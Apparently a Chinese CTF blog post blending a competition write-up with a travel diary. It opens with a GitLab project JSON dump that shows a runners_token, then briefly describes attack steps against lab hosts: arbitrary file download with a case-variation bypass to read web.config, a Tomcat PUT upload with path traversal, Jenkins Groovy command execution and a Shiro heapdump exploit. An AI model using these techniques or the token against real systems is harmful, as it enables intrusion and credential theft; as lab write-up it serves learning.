        "ci_forward_deployment_enabled": true,
        "ci_forward_deployment_rollback_allowed": true,
        "ci_job_token_scope_enabled": false,
        "ci_separated_caches": true,
        "ci_allow_fork_pipelines_to_run_in_parent_project": true,
        "build_git_strategy": "fetch",
        "keep_latest_artifact": true,
        "restrict_user_defined_variables": false,
        "runners_token": "GR13489414oQjRCnTobkTwZpR65iS",
        "runner_token_expiration_interval": null,
        "group_runners_enabled": true,
        "auto_cancel_pending_pipelines": "enabled",
        "build_timeout": 3600,
        "auto_devops_enabled": true,
        "auto_devops_deploy_strategy": "continuous",
        "ci_config_path": null,
        "public_jobs": true,
        "shared_with_groups": [],
        "only_allow_merge_if_pipeline_succeeds": false,
        "allow_merge_on_skipped_pipeline": null,
        "request_access_enabled": true,
        "only_allow_merge_if_all_discussions_are_resolved": false,
        "remove_source_branch_after_merge": true,
        "printing_merge_request_link_enabled": true,
        "merge_method": "merge",
        "squash_option": "default_off",
        "enforce_auth_checks_on_uploads": true,
        "suggestion_commit_message": null,
        "merge_commit_template": null,
        "squash_commit_template": null,
        "issue_branch_template": null,
        "warn_about_potentially_unwanted_characters": true,
        "autoclose_referenced_issues": true,
        "permissions": {
            "project_access": null,
            "group_access": {
                "access_level": 50,
                "notification_level": 3
            }
        }
    }
]

直接拉下第一个git clone http://oauth2:<API_TOKEN>@192.168.8.42/vertexsoft/vertexsoftbackup.git然后里面的backups.txt就是最后GitLab的flag


portal(Unsolved)

[*] WebTitle http://192.168.8.9:8000   code:200 len:4018   title:Modbus Monitor - VertexSoft Internal Attendance System

这题是modbus monitor那个服务

随便注册一个用户发现需要admin才能查看某些信息,尝试直接抓包改传入的参数

image-20240721115531554

User Management下有admin的详细信息

image-20240721115747461

admin:A1m!n@Qsx1Jn

头像处有个文件上传的功能,但是没啥用

User List的左上角还有一个Export List的选项可以下载文件,存在任意文件下载

image-20240721223030799

测试发现web.config被ban了

赛后得知可以直接用大小写绕过来读取../web.config,从而得到mssql服务的密码(注意要用admin账号)

然后数据库连上去一把梭了(?


WIN-PC3788(Unsolved)

[*] NetInfo 
[*]192.168.8.26
   [->]WIN-PC3788
   [->]192.168.8.26

Tomcat8.5.71,fuzz半天只有一个/backup/upload

image-20240721232402649

路径下只有index.jsp

赛后得知可以PUT文件上传,类似CVE-2017-12615:https://xz.aliyun.com/t/5610

但是upload目录不解析jsp,目录穿越到backup即可/backup/;../upload


DC(Unsolved)

hint:In the real world, Control of RODC Active Directory Computer Object is dangerous

只要能拿下这2000分,一切都会好起来的


游记(?

day0

(这个应该是day-1)因为前一天去的机票和队友买的不是同一个时间段,导致自己一个人打车-坐动车-坐飞机-坐地铁-找酒店,最后晚上11点了才歇下来,不过成都的夜景还挺热闹的

1721746386030

(你拍的什么🐕8,糊成这样)(((

正式开始day0,去川大报道

1721746798383

1721746798391

1721746798375

校园很大,有一种刘姥姥进大观园的美,感觉像是学园都市(什

最重要的是这里没有减速带!star在装减速带这方面遥遥领先了!(x

然后就是设备测试

1721747099417

笑点解析:下面那个才是我的热点

唉柚子厨共用一个大脑(

1721747257847

还是校内的大楼,感觉好高级,这就是985吗orz

day1

1721747447512

是 AWDP + 可信计算ctf

awdp一上来就看上了js,很快啊,ejs3.1.6,render方法,文件上传,欸这不就稳了吗

然后照着数字中国那题ssti来修这玩意,给定式思维害了,没注意到render方法里面需要传两个参数

直到第6轮的时候才凭借先知文库的找到正确的漏洞点并完成了fix,然后第8轮的时候才成功break,然后因为忙着补充wp细节还和三血失之交臂了555

最重要的是没注意到这个awdp的模式是n血分分数还会递减,会导致我们每一轮都比别人少加分

python那题本地环境起不来调试不了,感觉人都麻了

然后是去尝试fix SolonMaster,不幸地,我这阵子学的java里面刚好唯独没学fastjson,看到依赖里面有个fastjson的时候心凉了半截(

没办法只能硬给resolveClass加黑,但是我接触的java实在是太少了最终也没能修成

最后就默默吃分到了day1结束,还好js break得快能够扳回一城,不然便样衰了。。

3点结束回到酒店直接躺床上睡大觉zzz,队友倒是直接去玩了

晚上便是准备一点渗透相关的东西

day2

你说得对,但今天是0721,中间忘了,因为今天就是这样的日子嘛.jpg

image-20240724000510733

渗透 + 车联网&工控

我自然是负责前者了

什么,我做内网代理,真的假的?

到了场地之后巨魔才发现没带拓展坞于是又回去拿,而我stowaway内网代理搞不明白卡了半天,然后erp又没学过,看着大伙一个个解出erp的时候确实有点急了

好在fscan扫出来的洞是heapdump泄露,此事在我的0xgame week4中亦有记载,运气也是挺好,接下来就是一个简单的shiro利用一把梭getshell,也算是赛棍魅力时刻(

然后做代理的事情全部交给巨魔了,巨魔那边不知道为什么vps总是掉线,没办法只能来我的电脑上操作chisel代理(怎么有人开了快十个终端一个个代理啊x

后面才想起来可以直接socks代理出去,问题不大

WIN-OPS88这里不知道为什么MDUT连不上去数据库,报jdbc的错误,问题不大,我直接把里面的udf.txt顷刻炼化,手动注入便是(

Jenkins因为rwctf的时候接触过一次,看到的时候还挺兴奋x,队友测出是弱密码进入,然后我这里利用本地的先知文库找到后台groovy命令执行的方法,成功拿下

可惜在上午解出三题之后我们便没有较大进展了,浪费不少时间在portal的任意文件读取上面,忘了Windows getshell之后可以尝试rbp远程连接导致RODC没出,后面很多队都只比我们多了100分,就是差在这里

一点半的时候我开始吃午饭,同时刷着先知文库寻找突破口,在最后十五分钟的时候突然发现gitlab好像是春秋云境的原题,但是Jenkins靶机响应慢如乌龟,拼尽全力也无法及时复现,又一次血亏😭

至于WIN-PC3788,有想过是PUT文件上传但感觉版本对不上于是没去实践😭

最终的成绩是国二,也是刷新了协会的历史记录

1721702570194

虽然还是有点遗憾,没能在最后两小时稳住优势,但是已经足够了,所谓的 True Ending 是大家在拼尽全力之后到达的,tql各位

1721750363736

好了,两天的985梦结束了,归来依旧是那个臭双非(

晚宴,菜是一盘接一盘的上,红不拉几的,不过还是吃了不少才回去,yysy川剧变脸和喷火很好看,晚宴的抽奖也是被挖出鉴权0day了(

后日谈

回到酒店还是睡觉,醒来也是慢悠悠的整理东西,仔细一想我好像除了比赛根本没出过门!有点后悔结束后的第二天早上没跟着Laffey去展子玩了(我嘞个漫展特种兵

然后在床上瘫了一早上belike

1721751089662

回去的飞机上依旧是看番度过的

1721751277252

别在这里发电.jpg

1721751277246

可爱捏